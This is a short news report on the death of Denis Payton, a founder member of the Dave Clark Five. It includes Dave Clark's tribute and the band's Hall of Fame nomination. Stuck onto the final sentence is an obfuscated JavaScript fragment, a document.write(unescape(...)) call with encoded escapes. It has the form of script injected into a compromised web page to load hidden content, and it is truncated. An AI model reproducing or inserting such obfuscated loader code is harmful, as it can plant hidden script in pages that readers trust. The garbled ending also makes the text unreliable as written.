Dave Clark Five star dies

Musician Denis Payton, a founder member of rock group the Dave Clark Five, has died in Bournemouth at the age of 63. Payton, who played saxophone, harmonica and guitar for the popular 1960s band, had been ill for some time reports the BBC.

In a statement, Clark called Payton "a very dear friend who I've known since we were teenagers".

"Denis was extremely brave and not afraid of death. He had an amazing philosophy on life and will be greatly missed by me and all who knew him."

Payton's death comes just weeks after it was announced that the Dave Clark Five had been nominated for induction to the 2007 US Rock 'n' Roll Hall Of Fame.

Clark said his former colleague has been "thrilled" by the citation. "He said, 'I know I won't be around but it was an amazing part of my life that I am very proud of.'"

One of the first English groups to tour America, the Dave Clark Five spearheaded the "British Invasion" of the 1960s.

The band sold over 100 million records and enjoyed 30 hit singles worldwide before breaking up in the 1970s.

Their hits include Glad All Over, Bits And Pieces and Over And Over.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;